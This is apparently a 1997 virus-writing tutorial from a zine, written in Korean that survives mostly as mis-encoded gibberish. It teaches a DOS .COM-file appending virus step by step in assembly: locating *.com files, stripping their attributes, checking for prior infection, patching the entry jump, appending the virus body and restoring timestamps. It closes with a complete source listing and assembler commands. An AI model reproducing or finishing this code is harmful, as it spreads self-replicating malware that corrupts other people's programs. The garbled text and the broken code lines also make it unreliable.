
 w aa Ёa                                       CVC #01   97/06

----------------------------------------------------------------> Hong_gil_dong

waa (COMw ae qq) 1-1
 we aȉaa ea
------------------------------------------------------

aqe ᕡ a:
  1.Ia i eea.
  2.3aai ea
  3.DTAi wea
  4..COM ai xea ae 15a 
  5.a  ia ei wea.
  6.ai aa.
  7.ai  a ea.
  8.a A 3aai ea
  9.a qqe aea
     a)qqae 14a ea.
     b)qqeae  Зea
 10.a qA 3aai ea.
 11.aai aA aea
 12.e iai  ea
 13.ai hea
 14.i ea.
 15.DTAi ea
 16.Ai  aaa 񋥔a(AA)

aqe ᕡ aaaaA e wa.

  1.弁 Ia Ui eea, ᐡae a
    awae e Ua aa ŝe a.

        begin:  db 0e9h,0,0          ;vstartJumpea
        vstart: call doit
        doit:   pop  bp              ;IaUi eea
                sub  bp,OFFSET doit

  2.a aaA qqAae bytes eA wЁ
    3aai ǥa

        lea  si,[bp+OFFSET bytes]    ; 3aai
        mov  di,100h                 ;ǥa
        push di
        movsw
        movsb

  3.DTA e wwi ẁe abɟi ea,a 
    ti Ёᴡ ea. DTA A iE t i᷶ae
    aaA Aa i Ea


        lea  dx,[bp+OFFSET dta]  ;dati w
        mov  ah,1ah              ; Ёa
        int  21h

    dtae aq{ ea:
        dta db 42 dup (?)

  4.ai xea

        mov  ah,4eh             ;ax q.
        lea  dx,[bp+com_files]  ;.COM ai xea
        mov  cx,7               ;e 
        int  21h

    com_files e aqa{ ea
     com_files: db "*.com",0

  5.a e iai wЁa.

        lea  si,[bp+OFFSET dta+21]
        mov  cx,5
        lea  di,[bp+OFFSET attributes]
        rep  movsb
  6.ai aa awa aa

        mov  ax,4301h                 ;  a 
        xor  cx,cx                    ; i
        lea  dx,[bp+dta+30]           ; aa
        int  21h
  7.ai awȁ ea


        mov  ax,3d02h
        lea  dx,[bp+OFFSET dta+30]
        int  21h

  8.ai 弁 3aai  wea.
    a qqe aaeA awea

        xchg ax,bx             ;aЅii bx a
        mov  ah,3fh            ;<a
        lea  dx,[bp+bytes]     ; 3aai 
        mov  cx,3              ; bytesA wea>
        int  21h

  9.DTA Ae aa bytes AwA᷶e aai
   aea. e qqae bytese jump wwi a
   ia

  mov  ax,word ptr [bp+dta+26]  ;DTA  aai ea
  mov  cx,word ptr [bp+bytes+1] ;jmp iái ea
  add  cx,vend-vstart+3         ;aai ea.
  cmp  ax,cx                    ;aai aea
  jz   another                  ;{ae ae ai xea

 10.a i jmp wwa aa

        sub  ax,3                     ;A Ui
        mov  word ptr [bp+new_offs],ax;new_offsA aea
        mov  ax,4200h                 ;a qa
        xor  cx,cx                    ;ea
        cwd
        int  21h
        mov  ah,40h             ;3aai
        mov  cx,3               ;aA
        lea  dx,[bp+e9]         ;ea
        int  21h

 11.a {Aa aai ea:

        mov  ax,4202h        ;a{a
        xor  cx,cx           ;ea

        cwd                      ; aAa
        int  21h                 ; aai
        mov  ah,40h              ; aea
        mov  cx,vend-vstart
        lea  dx,[bp+vstart]
        int  21h

 12.a ia ei ᯡǥa

        mov  ax,5701h
        mov  dx,word ptr [bp+date]
        mov  cx,word ptr [bp+time]
        int  21h
 13.ai hea

        mov  ah,3eh
        int  21h

 14.ai ᯡǥa

        mov  ax,4301h
        lea  dx,[bp+OFFSET dta+30]
        xor  ch,ch
        mov  cl,byte ptr [bp+attributes]
        int  21h

 15. DTAi ᯡǥa:

        mov  dx,80h
        mov  ah,1ah
        int  21h

 16.Ai  a a:

        retn

 a  e ᷁ wi we aa
 -<EXAMPLE1.ASM>-----------------------------------
 ;.COM a qq w aa
 ; a ww
 ; TASM /m2 EXAMPLE1.ASM
 ; TLINK /t EXAMPLE1.ASM
 code    segment
 assume  cs:code
         org 100h
 begin:  db 0e9h,0,0               ;tart. aea
 vstart: call doit
 doit:   pop  bp                   ;IaUi e
         sub  bp,OFFSET doit
         lea  si,[bp+OFFSET bytes] ; 3aai
         mov  di,100h              ; ᯡǥa
         push di
         movsw
         movsb

         lea  dx,[bp+OFFSET dta]   ;dati wea
         mov  ah,1ah
         int  21h
 first:  mov  ah,4eh               ;弁 Ӂai
         lea  dx,[bp+com_files]     21h
         xchg ax,bx                ;Ѕii ax a
         mov  ah,3fh               ;<a 弁
         lea  dx,[bp+bytes]        ; 3aai wЁ
         mov  cx,3                 ; a>
         int  21h
         mov  ax,word ptr [bp+dta+26] ;a ai ea
         mov  cx,word ptr [bp+bytes+1];jmp ái aa
         add  cx,vend-vstart+3
         cmp  ax,cx            ;aai aea.
         jz   another          ;{ae ae Ӂai xea
         sub  ax,3
         mov  word ptr [bp+new_offs],ax
         xor  al,al            ;aqa 
         call move_fp

         mov  ah,40h                ;3aai
         mov  cx,3                  ;aA ea
         lea  dx,[bp+e9]
         int  21h
         mov  al,2                  ;a{a
         call move_fp               ;ea
         mov  ah,40h                ;<aai
         mov  cx,vend-vstart        ; aA a
         lea  dx,[bp+vstart]        ; ea>
         int  21h
         mov  ax,5701h               ;< a
         mov  dx,word ptr [bp+date]  ; e iai
         mov  cx,word ptr [bp+time]  ; ea>
         int  21h
  another:mov  ah,3eh             ;<ai
         int  21h                ; hea>
         mov  ax,4301h           ;<i
         lea  dx,[bp+OFFSET dta+30] ; ea
         xor  ch,ch
         mov  cl,byte ptr [bp+attributes]
         int  21h
         mov  ah,4fh           ;aq Ӂai
         jmp  next             ;xea
  quit:   mov  dx,80h           ;DTAi ea
         mov  ah,1ah
         int  21h
         retn
  move_fp:mov  ah,42h
         xor  cx,cx
         cwd
         int  21h
         retn

  com_files db '*.com',0
  bytes db 0cdh,20h,0
  e9 db 0e9h
  vend equ $
  new_offs dw ?
  attributes db ?
  time dw ?
  date dw ?
  dta db 42 dup (?)
  code    ENDS
         END    begin
  ------------w com aa { ------------------

